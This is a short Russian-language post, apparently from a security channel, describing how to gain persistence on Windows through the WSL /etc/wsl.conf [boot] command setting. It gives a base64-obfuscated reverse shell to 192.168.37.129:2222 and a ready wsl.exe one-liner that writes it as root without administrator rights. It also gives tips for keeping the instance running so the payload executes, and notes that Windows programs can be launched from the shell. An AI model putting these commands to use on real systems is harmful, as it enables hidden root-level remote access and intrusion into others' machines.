#persistence #t1037 #wsl
🔵 Копаясь в документации
Microsoft по подсистеме
WSL (
Windows Subsystem for Linux), нашёл интересный
механизм закрепления. В каждом инстансе можно создать файл
/etc/wsl.conf и в секции
[boot] указать для параметра
command команду, которая будет выполняться с правами
root при каждом его запуске.
Пример содержимого файла
/etc/wsl.conf (
запуск обратной оболочки):
[boot]
command=echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM3LjEyOS8yMjIyIDA+JjE= | base64 -d | /bin/bash
🔴
Представим сценарий, в котором атакующий удалённо подключился по протоколу
RDP к рабочей станции ИТ-администратора под управлением ОС
Windows 11, на которой включен
WSL2 и настроен Linux-дистрибутив.
Цель злоумышленника — закрепиться в системе через файл
/etc/wsl.conf.
Команды (
cmd.exe,
powershell.exe; запуск
без прав
Администратора):
wsl -l -v
wsl -u root -d <distro_name> --exec bash -c "echo -e '[boot]\ncommand=echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM3LjEyOS8yMjIyIDA+JjE= | base64 -d | /bin/bash' > /etc/wsl.conf"
Пссс... После получения обратной оболочки... Напоминаю: из WSL по умолчанию можно запускать исполняемые файлы Windows.🔵
Дополнительные моменты:
➖После внесения изменений в конфигурационный файл
/etc/wsl.conf, полезная нагрузка, указанная в
command, выполнится при следующем запуске инстанса
WSL. Некоторые
нюансы работы экземпляра
WSL:
*️⃣в
сборке 18267 Microsoft добавили механизм таймаута завершения работы инстанса
WSL, и он по умолчанию установлен на
15 секунд. Это означает, что экземпляр будет остановлен через 15 секунд после завершения последнего процесса
WSL;
*️⃣если под процессом
/init (
PID 2) в
WSL запущен хотя бы
один пользовательский процесс (например, в фоновом режиме), то экземпляр
WSL не будет завершён (
ссылка);
Пример:
nohup python3 -m http.server 8000 &
*️⃣для того, чтобы принудительно завершить работу определённого дистрибутива или всех сразу, можно использовать эти команды:
wsl -t <distro_name>
wsl --shutdown